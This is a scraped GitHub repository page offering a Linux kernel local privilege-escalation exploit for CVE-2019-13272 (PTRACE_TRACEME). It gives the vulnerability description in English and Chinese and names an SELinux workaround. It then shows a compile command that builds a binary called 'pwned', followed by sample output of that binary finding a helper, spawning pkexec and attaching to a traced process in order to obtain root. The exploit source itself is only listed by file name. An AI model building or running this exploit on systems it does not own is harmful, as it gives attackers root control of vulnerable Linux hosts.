Skip to content
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root
Branch: master
Clone or download
Latest commit 2590cfb Jul 31, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
CVE-2019-13272.c Add files via upload Jul 31, 2019
CVE-2019-13272.jpg Add files via upload Jul 31, 2019 Update Jul 31, 2019

CVE-2019-13272 Linux local root exploit

Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)


In the Linux kernel before 5.1.17, 

ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, 

which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship,

where a parent drops privileges and calls execve (potentially allowing control by an attacker). 

One contributing factor is an object lifetime issue (which can also cause a panic). 

Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. 

NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,
这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。
注意:在某些环境中,SELinux deny_ptrace可能是一种可用的解决方法。


gcc -s CVE-2019-13272.c -o pwned

jas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned 
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)                 
[.] Checking environment ...                                                   
[~] Done, looks good                                                           
[.] Searching for known helpers ...                                            
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper    
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper          
[.] Spawning suid process (/usr/bin/pkexec) ...                                
[.] Tracing midpid ...                                                         
[~] Attached to midpid                                                         
To run a command as administrator (user "root"), use "sudo <command>".         
See "man sudo_root" for details.                                               

Updated version of Jann Horn's exploit for CVE-2019-13272.

You can’t perform that action at this time.